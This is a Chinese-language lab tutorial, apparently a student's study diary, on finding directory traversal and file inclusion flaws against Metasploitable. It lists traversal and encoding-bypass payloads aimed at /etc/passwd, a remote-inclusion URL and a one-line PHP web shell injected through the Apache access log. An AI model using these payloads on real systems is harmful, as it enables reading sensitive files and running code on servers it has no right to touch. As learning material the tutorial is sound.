小白日記37:kali滲透測試之Web滲透-手動漏洞挖掘(三)-目錄遍歷、文件包含


手動漏洞挖掘

漏洞類型

 

#Directory traversal 目錄遍歷【本台機器操作系統上文件進行讀取】

使用者可以通過瀏覽器/URL地址或者參數變量內容,可以讀取web根目錄【默認為:/var/www/】之外的其他操作系統文件(如:/etc/passwd/)。形成根源:目錄權限限制不嚴格

#File include文件包含【1、include本地文件包含LFI;2、遠程系統文件包含RFI(可傳入木馬)】

通常為如include函數,可以將web根目錄以外的目錄包含進來。根源:include函數對輸入變量限制不嚴

#此兩種漏洞類型的利用方法和實現效果完全相同。

 注:kali中默認集成一些攻擊向量字典,/usr/share/wfuzz/wordlist/vulns

 

##################################################################

默認情況下, metasploitable只有文件包含漏洞,沒用遠程文件包含漏洞

#修改metasploitable配置文件

sudo vi /etc/php5/cgi/php.ini

/allow_url            搜索

sudo /etc/init.d/apache2 restart          重啟apache服務

##########################################################################

 

漏洞利用

首先,觀察特點、特征等【如:?page=a.php  ?home=b.html    ?file=content】;然后是表單或者URL地址

經典測試方法

/etc/passwd/    一個普通用戶也可以讀取的文件,常用於測試

1、?file=../../../../etc/password

解析:無論是windows系統還是linux,都有兩個特殊目錄

.     表示當前目錄

../    表示當前目錄的父目錄(上一級目錄)

“../”   越多越好,是因為可以此跳轉到根目錄

#也可以直接使用絕對路徑?page=/etc/passwd,但是目錄遍歷漏洞不使用,需使用“../”

 

2、?page=file:///etc/passwd【文件系統訪問,file后面要求是絕對路徑】/etc/passwd

 

3、?home=main.cgi【源碼內容/配置信息等】

 

4、?page=http://www.a.com/1.php(包含其他網頁文件)【遠程文件包含】

可自己做一個web server,在上面放置一個反彈shell

?page=http://1.1.1.1/../../../../dir/file.txt

 

編碼繞過字符過濾

當提示:找不到***文件,則應該可以判斷有過濾機制

在php5.3之前,存在這種繞過限制

“.”     “%00”(通俗有效,表示控制符)【在php語言格式,當遇到%00,則忽略其后面的內容】

例如:?flie=a.doc%00.php

使用多種編碼嘗試【每個字符都可以做編碼嘗試,通常來說,128以下的ASCII碼都不會被過濾】

特殊字符:"."    "/"            #英文字符肯定不會被過濾

######################################################################

#不同操作系統的路徑特征字符

#類UNIX系統

根目錄:/

目錄層級分隔符:/

#windows系統

C:\

\或/

######################################################################

編碼

最常用:URL編碼【若一層編碼不足以繞過,可使用雙層或多層URL編碼,前提:密文能被服務器解碼】

目的:目標服務器能正常地對編碼進行解碼,並且能查看想查看的內容,同時能夠繞過

%2e%2e%2f                           解碼 ../


%2e%2e%5c                          解碼 ..\
%252e%252e%255c              解碼 ..\                 【雙層編碼:特殊字符%被編碼為%25】

 

Unicode/UTF-8       【非英文字符編碼】

..%c0%af                 解碼 ../
..%u2216
..%c1%9c                解碼 ..\

#可使用在線工具

 

######################################################################################

其他系統路徑可能使用到的字符

• file.txt...
• file.txt<spaces>        #空格
• file.txt” ””
• file.txt<<<>>><
• ./././file.txt
• nonexistant/../file.txt          #輸入一個不存在的目錄【很多操作系統已經過濾】

UNC路徑【windows系統文件共享】

• \\1.1.1.1\path\to\file.txt

注:可提前將常見的字符單個編碼,在兩兩或任意組合,形成一個字典文件,利用burpsuite中的intruder進行攻擊可提高效率

######################################################################################

 

特例:無法從URL中查看任何跡象,其位於http請求頭中的cookie

 

代碼:

攻擊:【注入位置為cookie信息】

結果:

注:任何變量都要進行驗證

 

##########################################################################################

實例演示

本地文件包含LFI

查看文件

代碼執行【特殊情況下:通過服務器的訪問日志,實現代碼注入】

<?php echo shell_exec($_GET['cmd']);?>



Apache access.log       【前提:其他用戶對該文件有讀取權限】

然后在瀏覽器中訪問該文件

?page=/var/log/apache2/access.log

#############################################################################

注:Linux系統中,當你對一個文件賦予了權限的同時,要保證其層級目錄也被賦予的相同的權限

#############################################################################

 

遠程文件包含RFI【相對本地包含,機率較低】

驗證:

危害:

 

 

低等級

中等級

繞過思路【只過濾一次】

1、編碼

2、混插字符

高等級限制

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM